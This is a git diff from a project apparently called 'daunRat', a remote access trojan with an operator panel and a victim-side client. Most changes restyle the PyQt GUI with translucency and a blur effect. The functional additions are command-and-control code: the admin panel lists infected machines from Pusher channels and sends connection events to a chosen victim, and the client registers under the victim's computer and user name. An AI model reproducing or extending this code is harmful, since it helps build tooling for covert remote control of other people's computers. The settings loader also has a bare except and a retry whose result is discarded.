diff --git a/admin/data/settings.py b/admin/data/settings.py
index 37ea3ba..7169f04 100644
--- a/admin/data/settings.py
+++ b/admin/data/settings.py
@@ -19,13 +19,11 @@ class Settings:
def get_settings() -> dict:
try:
with open("data/settings.json", "r") as file:
- settings = json.load(file)
- except FileNotFoundError | json.decoder.JSONDecodeError | KeyError | ValueError | TypeError:
+ return json.load(file)
+ except:
Settings.fix()
Settings.get_settings()
- return settings
-
@staticmethod
def animation() -> dict:
from PyQt5.QtCore import QEasingCurve
diff --git a/admin/daunRat_admin.py b/admin/daunRat_admin.py
index 10d4bf4..f31b843 100644
--- a/admin/daunRat_admin.py
+++ b/admin/daunRat_admin.py
@@ -6,6 +6,7 @@ import pusher
import pusher.errors
import pysher
import modules.exception as exception
+from BlurWindow.blurWindow import GlobalBlur
sys.path.append('gui')
# Importing the main window
try:
@@ -24,6 +25,8 @@ settings = Settings.get_settings()
# Global variables for annotations
client = pusher.Pusher
receiver = pysher.Pusher
+channel: receiver.subscribe = None
+client_id = str()
# Initializing the main window
app = QtWidgets.QApplication(sys.argv)
@@ -31,6 +34,7 @@ MainWindow = QtWidgets.QMainWindow()
ui = Ui_MainWindow()
ui.setupUi(MainWindow)
ui.pagesWidget.setCurrentIndex(0)
+GlobalBlur(MainWindow.winId(), Acrylic=True)
# Trying to get settings or set default
try:
@@ -50,16 +54,19 @@ def initialize_pusher() -> None:
"""
global client
global receiver
- client = pusher.Pusher(
- app_id=settings["app_id"],
- key=settings["key"],
- secret=settings["secret"],
- cluster=settings["cluster"],
- ssl=False
- )
- receiver = pysher.Pusher(key=settings["key"], cluster=settings["cluster"])
- receiver.connection.bind('pusher:connection_established', handle_connection_to_server)
- receiver.connect()
+ try:
+ client = pusher.Pusher(
+ app_id=settings["app_id"],
+ key=settings["key"],
+ secret=settings["secret"],
+ cluster=settings["cluster"],
+ ssl=False
+ )
+ receiver = pysher.Pusher(key=settings["key"], cluster=settings["cluster"])
+ receiver.connection.bind('pusher:connection_established', handle_connection_to_server)
+ receiver.connect()
+ except Exception as e:
+ print(e)
def open_menu(*args) -> None:
@@ -100,6 +107,20 @@ def handle_menu_click(text: str) -> None:
index[text][0](index[text][1])
+def connect_to_rat() -> None:
+ """
+ Connects to rat based on selected id
+ :return:
+ """
+ global client_id
+ try:
+ client_id = ui.availableDevices.currentItem().text()
+ client.trigger('admin-' + str(client_id), 'connection_from_admin', None)
+ print("Sent connection message to client")
+ except Exception as e:
+ print(e)
+
+
def handle_connection_to_server(connection) -> None:
"""
On pusher connection
@@ -109,7 +130,7 @@ def handle_connection_to_server(connection) -> None:
print("Server returned: " + str(connection))
try:
for client_id_av in list(client.channels_info(prefix_filter='admin-')['channels']):
- print("Channel: " + client_id_av.split('-')[1])
+ ui.availableDevices.addItem(client_id_av.split('-')[1])
except pusher.errors.PusherBadRequest:
popup("Error", "Could not connect to pusher server\n"
"Do you have valid pusher config in settings tab?")
@@ -121,8 +142,11 @@ def reconnect_to_pusher() -> None:
:return:
"""
global receiver
- receiver.disconnect()
- print("Disconnected from pusher")
+ try:
+ receiver.disconnect()
+ print("Disconnected from pusher")
+ except:
+ print("Pusher not connected")
initialize_pusher()
@@ -133,6 +157,7 @@ initialize_pusher()
ui.leftMenu.itemClicked.connect(lambda: handle_menu_click(ui.leftMenu.currentItem().text()))
ui.saveSettingsButton.clicked.connect(lambda: (globals().update(settings=update_settings(ui))))
ui.reconRefreshButton.clicked.connect(lambda: reconnect_to_pusher())
+ui.connectButton.clicked.connect(lambda: connect_to_rat())
# Handling closing of the window to exit whole program
sys.exit(app.exec_())
diff --git a/admin/gui/gui.py b/admin/gui/gui.py
index 2474929..8294156 100644
--- a/admin/gui/gui.py
+++ b/admin/gui/gui.py
@@ -28,8 +28,8 @@ class Ui_MainWindow(object):
MainWindow.setAutoFillBackground(False)
MainWindow.setStyleSheet("\n"
"QWidget {\n"
-" background-color: rgb(30, 30, 30);\n"
-" color: rgb(255, 255, 255);\n"
+" background-color: rgba(30, 30, 30, 0.1);\n"
+" color: white;\n"
" font: 10pt \"Segoe UI\";\n"
"}\n"
"\n"
@@ -37,7 +37,7 @@ class Ui_MainWindow(object):
"QScrollBar:vertical,\n"
"QScrollBar:horizontal {\n"
" border: none;\n"
-" background: rgb(30, 30, 30);\n"
+" background: rgba(30, 30, 30, 0);\n"
" width: 10px;\n"
" margin: 15px 0 15px 0;\n"
" border-radius: 0px;\n"
@@ -45,7 +45,7 @@ class Ui_MainWindow(object):
"\n"
"QScrollBar::handle:vertical,\n"
"QScrollBar::handle:horizontal { \n"
-" background-color: rgb(139, 139, 139);\n"
+" background-color: rgba(139, 139, 139, 0);\n"
" min-height: 30px;\n"
" border-radius: 5px;\n"
"}\n"
@@ -54,7 +54,7 @@ class Ui_MainWindow(object):
"QScrollBar::handle:vertical:pressed,\n"
"QScrollBar::handle:horizontal:hover,\n"
"QScrollBar::handle:horizontal:pressed { \n"
-" background-color: rgb(149, 149, 149);\n"
+" background-color: rgba(149, 149, 149, 0);\n"
"}\n"
"\n"
"QScrollBar::sub-line:vertical,\n"
@@ -77,19 +77,19 @@ class Ui_MainWindow(object):
" border-width: 1px;\n"
" border-radius:6px;\n"
" border-style: solid;\n"
-" border-color: #303030;\n"
-" background-color: #2c2d2e;\n"
+" border-color: rgba(48, 48, 48, 0.5);\n"
+" background-color: rgba(44, 45, 46, 0.3);\n"
"}\n"
"QPushButton:hover {\n"
" border-width: 2px;\n"
-" background-color: #323232;\n"
+" background-color: rgba(50, 50, 50, 0.7);\n"
"}\n"
"QPushButton:pressed {\n"
-" background-color: #262728;\n"
+" background-color: rgba(38, 39, 40, 0.7);\n"
"}\n"
"QPushButton:disabled {\n"
-" background-color: #434343;\n"
-" border-color: #0000;\n"
+" background-color: rgba(67, 67, 67, 0.7);\n"
+" border-color: rgba(0, 0, 0, 0.7);\n"
"}\n"
"\n"
"\n"
@@ -97,8 +97,8 @@ class Ui_MainWindow(object):
" border-width: 1px;\n"
" border-radius: 5px;\n"
" border-style: solid;\n"
-" border-color: #303030;\n"
-" background-color: #242424;\n"
+" border-color: rgba(48, 48, 48);\n"
+" background-color: rgba(36, 36, 36, 0);\n"
" font: 10pt \"Segoe UI\";\n"
"}\n"
"\n"
@@ -107,20 +107,20 @@ class Ui_MainWindow(object):
" border-width: 1px;\n"
" border-radius: 15px;\n"
" border-style: solid;\n"
-" border-color: #303030;\n"
+" border-color: rgba(48, 48, 48);\n"
" padding: 10px;\n"
-" background-color: #242424;\n"
+" background-color: rgba(100, 100, 100, 0);\n"
" font: 10pt \"Segoe UI\";\n"
"}\n"
"QListWidget:item {\n"
-" background-color: #242424;\n"
+" background-color: rgba(36, 36, 36, 0);\n"
" selection-color: white;\n"
"}\n"
"QListWidget:item:hover {\n"
-" background-color: #323232;\n"
+" background-color: rgba(50, 50, 50, 0);\n"
"}\n"
"QListWidget:item:selected {\n"
-" background-color: #777777;\n"
+" background-color: rgba(119, 119, 119, 1);\n"
"}\n"
"\n"
"\n"
@@ -129,33 +129,33 @@ class Ui_MainWindow(object):
" border-width: 1px;\n"
" border-radius:6px;\n"
" border-style: solid;\n"
-" border-color: #303030;\n"
-" background-color: #2c2d2e;\n"
-" color: #ffffff;\n"
+" border-color: rgba(48, 48, 48);\n"
+" background-color: rgba(44, 45, 46, 0);\n"
+" color: white;\n"
"}\n"
"\n"
"QComboBox::disabled\n"
"{\n"
-" background-color: #434343;\n"
+" background-color: rgba(67, 67, 67, 0);\n"
" color: #656565;\n"
-" border-color: #434343;\n"
+" border-color: rgba(67, 67, 67);\n"
"}\n"
"\n"
"QComboBox:hover\n"
"{\n"
-" background-color: #323232;\n"
+" background-color: rgba(50, 50, 50, 0);\n"
"}\n"
"\n"
"QComboBox:on\n"
"{\n"
-" background-color: #434343;\n"
+" background-color: rgba(67, 67, 67, 0);\n"
"}\n"
"\n"
"QComboBox QAbstractItemView\n"
"{\n"
-" background-color: #434343;\n"
+" background-color: rgba(67, 67, 67, 0);\n"
" color: #ffffff;\n"
-" selection-background-color: #777777;\n"
+" selection-background-color: rgba(119, 119, 119, 0);\n"
" selection-color: white;\n"
" outline: 0;\n"
"}\n"
@@ -170,57 +170,57 @@ class Ui_MainWindow(object):
"\n"
"QTabBar::tab\n"
"{\n"
-" background-color: #2c2d2e;\n"
+" background-color: rgba(44, 45, 46, 0);\n"
" color: #ffffff;\n"
" border-style: solid;\n"
" border-width: 1px;\n"
" border-top-left-radius: 3px;\n"
" border-top-right-radius: 3px;\n"
-" border-color: #303030;\n"
+" border-color: rgba(48, 48, 48);\n"
" padding: 5px;\n"
"}\n"
"\n"
"QTabBar::tab:disabled\n"
"{\n"
-" background-color: #656565;\n"
+" background-color: rgba(101, 101, 101, 0);\n"
" color: #656565;\n"
"}\n"
"\n"
"QTabWidget::pane \n"
"{\n"
-" background-color: #a0a0a0;\n"
+" background-color: rgba(160, 160, 160, 0);\n"
" color: #ffffff;\n"
" border: 3px solid;\n"
" border-radius: 15px;\n"
-" border-color: #1c1c1c;\n"
+" border-color: rgba(28, 28, 28);\n"
"}\n"
"\n"
"QTabBar::tab:selected\n"
"{\n"
-" background-color: #262728;\n"
+" background-color: rgba(38, 39, 40, 0);\n"
" color: #ffffff;\n"
" border-style: solid;\n"
" border-width: 1px;\n"
" border-top-left-radius: 3px;\n"
" border-top-right-radius: 3px;\n"
-" border-color: #303030;\n"
+" border-color: rgba(48, 48, 48);\n"
" padding: 5px;\n"
"}\n"
"\n"
"QTabBar::tab:selected:disabled\n"
"{\n"
-" background-color: #404040;\n"
+" background-color: rgba(64, 64, 64, 0);\n"
" color: #656565;\n"
"}\n"
"\n"
"QTabBar::tab:!selected \n"
"{\n"
-" background-color: #262626;\n"
+" background-color: rgba(38, 38, 38, 0);\n"
"}\n"
"\n"
"QTabBar::tab:!selected:hover \n"
"{\n"
-" background-color: #323232;\n"
+" background-color: rgba(50, 50, 50, 0);\n"
"}\n"
"\n"
"QTabBar::tab:top:!selected \n"
@@ -301,26 +301,28 @@ class Ui_MainWindow(object):
self.leftMenu.setMinimumSize(QtCore.QSize(60, 0))
self.leftMenu.setMaximumSize(QtCore.QSize(60, 16777215))
self.leftMenu.setFocusPolicy(QtCore.Qt.NoFocus)
- self.leftMenu.setStyleSheet("QListWidget {\n"
+ self.leftMenu.setStyleSheet("\n"
+"QListWidget {\n"
" border-width: 0px;\n"
" border-radius: 0px;\n"
" border: none;\n"
" padding: 0px;\n"
-" background-color: #242424;\n"
+" background-color: rgba(36, 36, 36, 0);\n"
" font: 10pt \"Segoe UI\";\n"
"}\n"
"QListWidget:item {\n"
" padding-left: 10px;\n"
" height: 60px;\n"
-" background-color: #191919;\n"
+" background-color: rgba(25, 25, 25, 0);\n"
" selection-color: rgba(255, 255, 255);\n"
"}\n"
"QListWidget:item:hover {\n"
-" background-color: #323232;\n"
+" background-color: rgba(50, 50, 50, 0);\n"
"}\n"
"QListWidget:item:selected {\n"
-" background-color: #262728;\n"
-"}")
+" background-color: rgba(38, 39, 40, 0);\n"
+"}\n"
+"")
self.leftMenu.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)
self.leftMenu.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)
self.leftMenu.setAutoScroll(False)
diff --git a/admin/gui/gui.ui b/admin/gui/gui.ui
index 4db191f..f7fd105 100644
--- a/admin/gui/gui.ui
+++ b/admin/gui/gui.ui
@@ -41,8 +41,8 @@
QWidget {
- background-color: rgb(30, 30, 30);
- color: rgb(255, 255, 255);
+ background-color: rgba(30, 30, 30, 0.1);
+ color: white;
font: 10pt "Segoe UI";
}
@@ -50,7 +50,7 @@ QWidget {
QScrollBar:vertical,
QScrollBar:horizontal {
border: none;
- background: rgb(30, 30, 30);
+ background: rgba(30, 30, 30, 0);
width: 10px;
margin: 15px 0 15px 0;
border-radius: 0px;
@@ -58,7 +58,7 @@ QScrollBar:horizontal {
QScrollBar::handle:vertical,
QScrollBar::handle:horizontal {
- background-color: rgb(139, 139, 139);
+ background-color: rgba(139, 139, 139, 0);
min-height: 30px;
border-radius: 5px;
}
@@ -67,7 +67,7 @@ QScrollBar::handle:vertical:hover,
QScrollBar::handle:vertical:pressed,
QScrollBar::handle:horizontal:hover,
QScrollBar::handle:horizontal:pressed {
- background-color: rgb(149, 149, 149);
+ background-color: rgba(149, 149, 149, 0);
}
QScrollBar::sub-line:vertical,
@@ -90,19 +90,19 @@ QPushButton {
border-width: 1px;
border-radius:6px;
border-style: solid;
- border-color: #303030;
- background-color: #2c2d2e;
+ border-color: rgba(48, 48, 48, 0.5);
+ background-color: rgba(44, 45, 46, 0.3);
}
QPushButton:hover {
border-width: 2px;
- background-color: #323232;
+ background-color: rgba(50, 50, 50, 0.7);
}
QPushButton:pressed {
- background-color: #262728;
+ background-color: rgba(38, 39, 40, 0.7);
}
QPushButton:disabled {
- background-color: #434343;
- border-color: #0000;
+ background-color: rgba(67, 67, 67, 0.7);
+ border-color: rgba(0, 0, 0, 0.7);
}
@@ -110,8 +110,8 @@ QLineEdit, QTextBrowser, QPlainTextEdit, QTextEdit {
border-width: 1px;
border-radius: 5px;
border-style: solid;
- border-color: #303030;
- background-color: #242424;
+ border-color: rgba(48, 48, 48);
+ background-color: rgba(36, 36, 36, 0);
font: 10pt "Segoe UI";
}
@@ -120,20 +120,20 @@ QListWidget {
border-width: 1px;
border-radius: 15px;
border-style: solid;
- border-color: #303030;
+ border-color: rgba(48, 48, 48);
padding: 10px;
- background-color: #242424;
+ background-color: rgba(100, 100, 100, 0);
font: 10pt "Segoe UI";
}
QListWidget:item {
- background-color: #242424;
+ background-color: rgba(36, 36, 36, 0);
selection-color: white;
}
QListWidget:item:hover {
- background-color: #323232;
+ background-color: rgba(50, 50, 50, 0);
}
QListWidget:item:selected {
- background-color: #777777;
+ background-color: rgba(119, 119, 119, 1);
}
@@ -142,33 +142,33 @@ QComboBox
border-width: 1px;
border-radius:6px;
border-style: solid;
- border-color: #303030;
- background-color: #2c2d2e;
- color: #ffffff;
+ border-color: rgba(48, 48, 48);
+ background-color: rgba(44, 45, 46, 0);
+ color: white;
}
QComboBox::disabled
{
- background-color: #434343;
+ background-color: rgba(67, 67, 67, 0);
color: #656565;
- border-color: #434343;
+ border-color: rgba(67, 67, 67);
}
QComboBox:hover
{
- background-color: #323232;
+ background-color: rgba(50, 50, 50, 0);
}
QComboBox:on
{
- background-color: #434343;
+ background-color: rgba(67, 67, 67, 0);
}
QComboBox QAbstractItemView
{
- background-color: #434343;
+ background-color: rgba(67, 67, 67, 0);
color: #ffffff;
- selection-background-color: #777777;
+ selection-background-color: rgba(119, 119, 119, 0);
selection-color: white;
outline: 0;
}
@@ -183,57 +183,57 @@ QComboBox::drop-down
QTabBar::tab
{
- background-color: #2c2d2e;
+ background-color: rgba(44, 45, 46, 0);
color: #ffffff;
border-style: solid;
border-width: 1px;
border-top-left-radius: 3px;
border-top-right-radius: 3px;
- border-color: #303030;
+ border-color: rgba(48, 48, 48);
padding: 5px;
}
QTabBar::tab:disabled
{
- background-color: #656565;
+ background-color: rgba(101, 101, 101, 0);
color: #656565;
}
QTabWidget::pane
{
- background-color: #a0a0a0;
+ background-color: rgba(160, 160, 160, 0);
color: #ffffff;
border: 3px solid;
border-radius: 15px;
- border-color: #1c1c1c;
+ border-color: rgba(28, 28, 28);
}
QTabBar::tab:selected
{
- background-color: #262728;
+ background-color: rgba(38, 39, 40, 0);
color: #ffffff;
border-style: solid;
border-width: 1px;
border-top-left-radius: 3px;
border-top-right-radius: 3px;
- border-color: #303030;
+ border-color: rgba(48, 48, 48);
padding: 5px;
}
QTabBar::tab:selected:disabled
{
- background-color: #404040;
+ background-color: rgba(64, 64, 64, 0);
color: #656565;
}
QTabBar::tab:!selected
{
- background-color: #262626;
+ background-color: rgba(38, 38, 38, 0);
}
QTabBar::tab:!selected:hover
{
- background-color: #323232;
+ background-color: rgba(50, 50, 50, 0);
}
QTabBar::tab:top:!selected
@@ -344,26 +344,28 @@ QTabBar::tab:left:only-one, QTabBar::tab:right:only-one
Qt::NoFocus
- QListWidget {
+
+QListWidget {
border-width: 0px;
border-radius: 0px;
border: none;
padding: 0px;
- background-color: #242424;
+ background-color: rgba(36, 36, 36, 0);
font: 10pt "Segoe UI";
}
QListWidget:item {
- padding-left: 10px;
- height: 60px;
- background-color: #191919;
+ padding-left: 10px;
+ height: 60px;
+ background-color: rgba(25, 25, 25, 0);
selection-color: rgba(255, 255, 255);
}
QListWidget:item:hover {
- background-color: #323232;
+ background-color: rgba(50, 50, 50, 0);
}
QListWidget:item:selected {
- background-color: #262728;
-}
+ background-color: rgba(38, 39, 40, 0);
+}
+
Qt::ScrollBarAlwaysOff
diff --git a/admin/gui/styles.py b/admin/gui/styles.py
index 31d2270..8bd4e52 100644
--- a/admin/gui/styles.py
+++ b/admin/gui/styles.py
@@ -1,7 +1,7 @@
centralwidget = """
QWidget {
- background-color: rgb(30, 30, 30);
- color: rgb(255, 255, 255);
+ background-color: rgba(30, 30, 30, 0.1);
+ color: white;
font: 10pt "Segoe UI";
}
@@ -9,7 +9,7 @@ QWidget {
QScrollBar:vertical,
QScrollBar:horizontal {
border: none;
- background: rgb(30, 30, 30);
+ background: rgba(30, 30, 30, 0);
width: 10px;
margin: 15px 0 15px 0;
border-radius: 0px;
@@ -17,7 +17,7 @@ QScrollBar:horizontal {
QScrollBar::handle:vertical,
QScrollBar::handle:horizontal {
- background-color: rgb(139, 139, 139);
+ background-color: rgba(139, 139, 139, 0);
min-height: 30px;
border-radius: 5px;
}
@@ -26,7 +26,7 @@ QScrollBar::handle:vertical:hover,
QScrollBar::handle:vertical:pressed,
QScrollBar::handle:horizontal:hover,
QScrollBar::handle:horizontal:pressed {
- background-color: rgb(149, 149, 149);
+ background-color: rgba(149, 149, 149, 0);
}
QScrollBar::sub-line:vertical,
@@ -49,19 +49,19 @@ QPushButton {
border-width: 1px;
border-radius:6px;
border-style: solid;
- border-color: #303030;
- background-color: #2c2d2e;
+ border-color: rgba(48, 48, 48, 0.5);
+ background-color: rgba(44, 45, 46, 0.3);
}
QPushButton:hover {
border-width: 2px;
- background-color: #323232;
+ background-color: rgba(50, 50, 50, 0.7);
}
QPushButton:pressed {
- background-color: #262728;
+ background-color: rgba(38, 39, 40, 0.7);
}
QPushButton:disabled {
- background-color: #434343;
- border-color: #0000;
+ background-color: rgba(67, 67, 67, 0.7);
+ border-color: rgba(0, 0, 0, 0.7);
}
@@ -69,8 +69,8 @@ QLineEdit, QTextBrowser, QPlainTextEdit, QTextEdit {
border-width: 1px;
border-radius: 5px;
border-style: solid;
- border-color: #303030;
- background-color: #242424;
+ border-color: rgba(48, 48, 48);
+ background-color: rgba(36, 36, 36, 0);
font: 10pt "Segoe UI";
}
@@ -79,20 +79,20 @@ QListWidget {
border-width: 1px;
border-radius: 15px;
border-style: solid;
- border-color: #303030;
+ border-color: rgba(48, 48, 48);
padding: 10px;
- background-color: #242424;
+ background-color: rgba(100, 100, 100, 0);
font: 10pt "Segoe UI";
}
QListWidget:item {
- background-color: #242424;
+ background-color: rgba(36, 36, 36, 0);
selection-color: white;
}
QListWidget:item:hover {
- background-color: #323232;
+ background-color: rgba(50, 50, 50, 0);
}
QListWidget:item:selected {
- background-color: #777777;
+ background-color: rgba(119, 119, 119, 1);
}
@@ -101,33 +101,33 @@ QComboBox
border-width: 1px;
border-radius:6px;
border-style: solid;
- border-color: #303030;
- background-color: #2c2d2e;
- color: #ffffff;
+ border-color: rgba(48, 48, 48);
+ background-color: rgba(44, 45, 46, 0);
+ color: white;
}
QComboBox::disabled
{
- background-color: #434343;
+ background-color: rgba(67, 67, 67, 0);
color: #656565;
- border-color: #434343;
+ border-color: rgba(67, 67, 67);
}
QComboBox:hover
{
- background-color: #323232;
+ background-color: rgba(50, 50, 50, 0);
}
QComboBox:on
{
- background-color: #434343;
+ background-color: rgba(67, 67, 67, 0);
}
QComboBox QAbstractItemView
{
- background-color: #434343;
+ background-color: rgba(67, 67, 67, 0);
color: #ffffff;
- selection-background-color: #777777;
+ selection-background-color: rgba(119, 119, 119, 0);
selection-color: white;
outline: 0;
}
@@ -142,57 +142,57 @@ QComboBox::drop-down
QTabBar::tab
{
- background-color: #2c2d2e;
+ background-color: rgba(44, 45, 46, 0);
color: #ffffff;
border-style: solid;
border-width: 1px;
border-top-left-radius: 3px;
border-top-right-radius: 3px;
- border-color: #303030;
+ border-color: rgba(48, 48, 48);
padding: 5px;
}
QTabBar::tab:disabled
{
- background-color: #656565;
+ background-color: rgba(101, 101, 101, 0);
color: #656565;
}
QTabWidget::pane
{
- background-color: #a0a0a0;
+ background-color: rgba(160, 160, 160, 0);
color: #ffffff;
border: 3px solid;
border-radius: 15px;
- border-color: #1c1c1c;
+ border-color: rgba(28, 28, 28);
}
QTabBar::tab:selected
{
- background-color: #262728;
+ background-color: rgba(38, 39, 40, 0);
color: #ffffff;
border-style: solid;
border-width: 1px;
border-top-left-radius: 3px;
border-top-right-radius: 3px;
- border-color: #303030;
+ border-color: rgba(48, 48, 48);
padding: 5px;
}
QTabBar::tab:selected:disabled
{
- background-color: #404040;
+ background-color: rgba(64, 64, 64, 0);
color: #656565;
}
QTabBar::tab:!selected
{
- background-color: #262626;
+ background-color: rgba(38, 38, 38, 0);
}
QTabBar::tab:!selected:hover
{
- background-color: #323232;
+ background-color: rgba(50, 50, 50, 0);
}
QTabBar::tab:top:!selected
@@ -268,19 +268,19 @@ QListWidget {
border-radius: 0px;
border: none;
padding: 0px;
- background-color: #242424;
+ background-color: rgba(36, 36, 36, 0);
font: 10pt "Segoe UI";
}
QListWidget:item {
padding-left: 10px;
height: 60px;
- background-color: #191919;
+ background-color: rgba(25, 25, 25, 0);
selection-color: rgba(255, 255, 255);
}
QListWidget:item:hover {
- background-color: #323232;
+ background-color: rgba(50, 50, 50, 0);
}
QListWidget:item:selected {
- background-color: #262728;
+ background-color: rgba(38, 39, 40, 0);
}
"""
diff --git a/client/daunRat.py b/client/daunRat.py
index d4a60db..abb95c2 100644
--- a/client/daunRat.py
+++ b/client/daunRat.py
@@ -67,7 +67,7 @@ def handle_connection_to_server(connection):
client_id = str(int(list(client.channels_info(prefix_filter='admin-')['channels'])[-1].split('-')[-1]
.split('@')[0]) + 1) + f'@{os.getenv("COMPUTERNAME")}@{os.getenv("UserName")}'
except IndexError:
- client_id = f'0@{os.getenv("COMPUTERNAME")}@{os.getenv("UserName")}'
+ client_id = f'0@{os.getenv("COMPUTERNAME")}@{os.getenv("UserName")}'[:156]
channel = receiver.subscribe(f'admin-{client_id}')
print("Client id: " + client_id)
channel.bind('connection_from_admin', lambda _: print("Connection from admin"))
diff --git a/requirements.txt b/requirements.txt
index 2bde605..5a17d57 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -12,4 +12,5 @@ pyinstaller
zstandard
nuitka
python-vlc
-playsound
\ No newline at end of file
+playsound
+BlurWindow
\ No newline at end of file